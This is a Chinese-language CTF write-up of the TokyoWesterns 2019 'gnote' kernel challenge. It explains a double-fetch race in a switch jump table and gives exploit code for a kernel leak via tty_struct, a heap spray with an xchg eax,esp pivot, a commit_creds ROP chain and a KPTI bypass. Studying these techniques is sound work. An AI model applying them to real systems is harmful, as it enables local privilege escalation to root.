exp和原题可从我的github下载https://github.com/bsauce/CTF/tree/master/TokyoWesternsCTF2019-gnote。
漏洞详情可以参见https://wpengfei.github.io/cpedoc-accepted.pdf。
gcc 编译switch代码是,case超过5个就会变成jump table
的形式。
例如:
#include
#include
#include
#include
int do_something(char *buf){
int ret=0;
switch(*(int *)buf){
case 1:
printf("case 1n");
break;
case 2:
printf("case 2n");
break;
case 3:
printf("case 3n");
break;
case 4:
printf("case 4n");
break;
/*case 5:*/
/*printf("case 5n");*/
/*break;*/
}
return ret;
}
int main(int argc,char **argv){
char *buf=malloc(0x100);
*(int *)buf = 0x1;
do_something(buf);
return 0;
}
4种case时,选项rdi只取了一次,默认编译为cmp ... je
形式:
5种case时,选项rdi取了两次,默认编译为jump table形式,根据case索引数组跳到对应逻辑:
可以看到对用户数据取了两次,先cmp DWORD PTR [rdi],0x5
比较最大值,再mov eax,DWORD PTR [rdi]
取rdi的值作为jump table的索引。引发Double-Fetch漏洞。
gnote首先注册一个procfs入口/proc/gnote
,只有read和write处理句柄。可以添加最多8个note(size最大为0x10000),note指针存于notes全局数组中,note结构如下:
struct note {
unsigned long size;
char *contents;
};
源码如下:
// 可add note 但是内容不可控,没有copy_from_user,只有copy_to_user
ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
unsigned int index;
mutex_lock(&lock);
/*
* 1. add note
* 2. edit note
* 3. delete note
* 4. copy note
* 5. select note
* No implementation :(
*/
switch(*(unsigned int *)buf){
case 1:
if(cnt >= MAX_NOTE){
break;
}
notes[cnt].size = *((unsigned int *)buf+1);
if(notes[cnt].size > 0x10000){
break;
}
notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
cnt++;
break;
case 2:
printk("Edit Not implemented\n");
break;
case 3:
printk("Delete Not implemented\n");
break;
case 4:
printk("Copy Not implemented\n");
break;
case 5:
index = *((unsigned int *)buf+1);
if(cnt > index){
selected = index;
}
break;
}
mutex_unlock(&lock);
return count;
}
ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
mutex_lock(&lock);
if(selected == -1){
mutex_unlock(&lock);
return 0;
}
if(count > notes[selected].size){
count = notes[selected].size;
}
copy_to_user(buf, notes[selected].contents, count);
selected = -1;
mutex_unlock(&lock);
return count;
}
Double-Fetch,只有在二进制中才看得出来,在gnote_write
函数中,根据传入的选项数字决定跳转到哪个功能,选项数字直接从用户空间读取,先判断是否<=5,再取出来跳转到目标函数。如果中间篡改选项,可能就可能会跳转到任意地址。
; note that rbx is the buf argument, user-controlled
cmp dword ptr [rbx], 5
ja default_case
mov eax, [rbx]
mov rax, jump_table[rax*8]
jmp rax
未初始化内存读,在gnote_read
函数中。对于内核slub分配器(默认),内核函数创建的结构、kmalloc申请的空间都是先从特定大小的cache中申请。所以可以先调用系统调用,再把包含函数指针的块申请回来,读取原来的数据。例如/dev/ptmx
中的tty_struct
结构中指针,结构大小是0x2e0。
触发漏洞:
一个线程不断修改传入的index,而主线程不断调用write处理句柄。注意add note可以传入大于0x10000的size,这样会被add note丢弃,无害。触发代码如下:
#include
#include
#include
#define FAKE_IDX "0x41414141"
void* thread_func(void* arg) {
asm volatile("mov $" FAKE_IDX ", %%eax\n"
"mov %0, %%rbx\n"
"lbl:\n"
"xchg (%%rbx), %%eax\n"
"jmp lbl\n"
:
: "r" (arg)
: "rax", "rbx"
);
return 0;
}
int main() {
int fd = open("/proc/gnote", O_RDWR);
unsigned int buf[2] = {0, 0x10001};
pthread_t thr;
pthread_create(&thr, 0, thread_func, &buf[0]);
while (1)
write(fd, buf, sizeof(buf));
return 0;
}
mov rax, jump_table[0x41414141*8]
导致崩溃。
利用漏洞:
xchg eax, esp
这个gadget;0xffffffffc0000000 + 0x8000200*8 == 0x1000
);ENOMEM
;0x1000 - 0x10001000
,可能会覆盖exp的默认加载地址0x400000…。一是可以映射0x1000000-0x2000000
,二是可以编译时重定位binary—-Wl,--section-start=.note.gnu.build-id=0x40000158
。xchg eax, esp ; ret
使rsp指向用户空间,由于rsp指向gadget地址,所以需要在gadget&0xffffffff
位置布置ropchain。commit_creds(prepare_kernel_cred(0))
。但为了缓解Meltdown漏洞,采用了页表隔离机制,用户空间不可执行,所以构造rop执行commit_creds(prepare_kernel_cred(0))
。entry_SYSCALL_64
(syscall入口);处理完syscall,进行页表转换,使用sysretq
跳转到用户态,它把rip设置为rcx,rflags设置为r11。// Step 1 : leak kernel address
fd=open("proc/gnote", O_RDWR);
if (fd<0)
{
puts("[-] Open driver error!");
exit(-1);
}
int fds[50];
for (int i=0;i<50; i++)
fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);
for (int i=0;i<50; i++)
close(fds[i]);
add_note(fd,0x2e0); // tty_struct结构大小0x2e0
select_note(fd,0);
read(fd, buf, 512);
//for (int i=0; i< 20; i++)
// printf("%p\n", *(size_t *)(buf+i*8));
unsigned long leak, kernel_base;
leak= *(size_t *)(buf+3*8);
kernel_base = leak - 0xA35360;
printf("[+] Leak_addr= %p kernel_base= %p\n", leak , kernel_base);
由于没有smap保护,堆喷放上xchg eax, esp
使rsp指向用户空间即可。mov rax, jump_table[rax*8],内核加载最低地址是0xffffffffc0000000 + (0x8000000+0x1000000) x 8 = 0x8000000, 所以从0x8000000地址处开始喷射xchg eax, esp
地址。
// Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
unsigned long *spray_addr= (unsigned long *)pivot_addr;
for (int i=0; i<0x1000000/8; i++)
spray_addr[i]=xchg_eax_esp_ret;
由于最后是jmp rax
,rax指向xchg eax, esp
,所以rop链放在xchg_eax_esp_ret & 0xffffffff
地址即可。mmap是需要页对齐的,所以mmap_base == xchg_eax_esp_ret & 0xfffff000
。
// Step 3 : 布置ROP。由于已经xchg eax,esp 而rax指向xchg地址,所以rop链地址是xchg地址低8位。
unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
int i=0;
// commit_creds(prepare_kernel_cred(0))
rop_base[i++] = pop_rdi_ret;
rop_base[i++] = 0;
rop_base[i++] = prepare_kernel_cred;
rop_base[i++] = pop_rsi_ret; // ja大于则跳转,-1是最大的数
rop_base[i++] = -1;
rop_base[i++] = mov_rdi_rax_p_ret;
rop_base[i++] = 0;
rop_base[i++] = commit_creds;
// bypass kpti
rop_base[i++] = kpti_ret;
rop_base[i++] = 0;
rop_base[i++] = 0;
rop_base[i++] = &shell;
rop_base[i++] = user_cs;
rop_base[i++] = user_rflags;
rop_base[i++] = user_sp;
rop_base[i++] = user_ss;
// Step 4 : 开始竞争
race_arg.arg = 0x10001;
pthread_create(&pthread,NULL, race, &race_arg);
for (int j=0; j< 0x10000000000; j++)
{
race_arg.menu = 1;
write(fd, (void*)&race_arg, sizeof(struct data));
}
pthread_join(pthread, NULL);
void race(void *s)
{
struct data *d=s;
while(!istriggered){
d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
puts("[*] race ...");
}
}
(1)xchg eax, esp 之后rsp高8位还是0xffffffff啊,为什么只在低位布置rop呢?
在内核空间执行任意代码,我们需要将我们的栈指针指向我们能够控制的用户空间。尽管我们的测试环境是64位,但我们依旧对最后一个寄存器改为32位的gadget感兴趣。xchg %eXx, %esp ; ret
xchg %esp, %eXx ; ret
. 如果我们的%rax是一个有效的内核地址,这个栈反转指令将会使rax的低32位作为新的栈地址,虽然不知道为什么。一旦rax的值在执行f()被执行前知道,我们将知道用户空间栈的地址并相应进行mmap。
#执行xchg之前:
gef➤ i r
rax 0xffffffffb501992a 0xffffffffb501992a
rsp 0xffff966180227da0 0xffff966180227da0
gef➤ stack
0xffff966180227da0: 0xffff8f8d0eaa5780
0xffff966180227da8: 0xfffffffffffffffb
gef➤ si
Warning: not running or target is remote
0xffffffffb501992b in ?? ()
Warning: not running or target is remote
#执行xchg之后:
gef➤ x /5i $pc
=> 0xffffffffb501992b: ret
0xffffffffb501992c: scas al,BYTE PTR es:[rdi]
gef➤ stack
Warning: not running or target is remote
0xb501992a: 0xffffffffb501c20d
0xb5019932: 0x0000000000000000
0xb501993a: 0xffffffffb5069fe0
gef➤ i r
rax 0x80227da0 0x80227da0
...
rsp 0xb501992a 0xb501992a
栈迁移:
leave_ret
(没有截断符号例如0xa0,就可以用):mov esp,ebp;pop ebp;ret
xchg eax,esp
(2)绕过kpti的方法是什么?
注意,利用老方法swapgs
和iretq
组合总是不成功。
cat /proc/kallsyms| grep swapgs_restore_regs_and_return_to_usermode
利用了swapgs_restore_regs_and_return_to_usermode
,跳过开头的pop。构造rop链时,后面放2个0,再开始放关键的5个寄存器。
/ # cat /proc/kallsyms| grep ffffffffbde00a
ffffffffbde00a00 t common_interrupt
ffffffffbde00a0f t ret_from_intr
ffffffffbde00a2c T retint_user
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode
ffffffffbde00abb T restore_regs_and_return_to_kernel
ffffffffbde00abb t retint_kernel
gef➤ x /50i 0xffffffffbde00a34
0xffffffffbde00a34: pop r15
0xffffffffbde00a36: pop r14
0xffffffffbde00a38: pop r13
0xffffffffbde00a3a: pop r12
0xffffffffbde00a3c: pop rbp
0xffffffffbde00a3d: pop rbx
0xffffffffbde00a3e: pop r11
0xffffffffbde00a40: pop r10
0xffffffffbde00a42: pop r9
0xffffffffbde00a44: pop r8
0xffffffffbde00a46: pop rax
0xffffffffbde00a47: pop rcx
0xffffffffbde00a48: pop rdx
0xffffffffbde00a49: pop rsi
0xffffffffbde00a4a: mov rdi,rsp <<<<<<<<<<<<<<<<<<<<<<
0xffffffffbde00a4d: mov rsp,QWORD PTR gs:0x5004
0xffffffffbde00a56: push QWORD PTR [rdi+0x30]
0xffffffffbde00a59: push QWORD PTR [rdi+0x28]
0xffffffffbde00a5c: push QWORD PTR [rdi+0x20]
0xffffffffbde00a5f: push QWORD PTR [rdi+0x18]
https://wpengfei.github.io/cpedoc-accepted.pdf
https://rpis.ec/blog/tokyowesterns-2019-gnote/
https://www.anquanke.com/post/id/185911
linux漏洞缓解机制介绍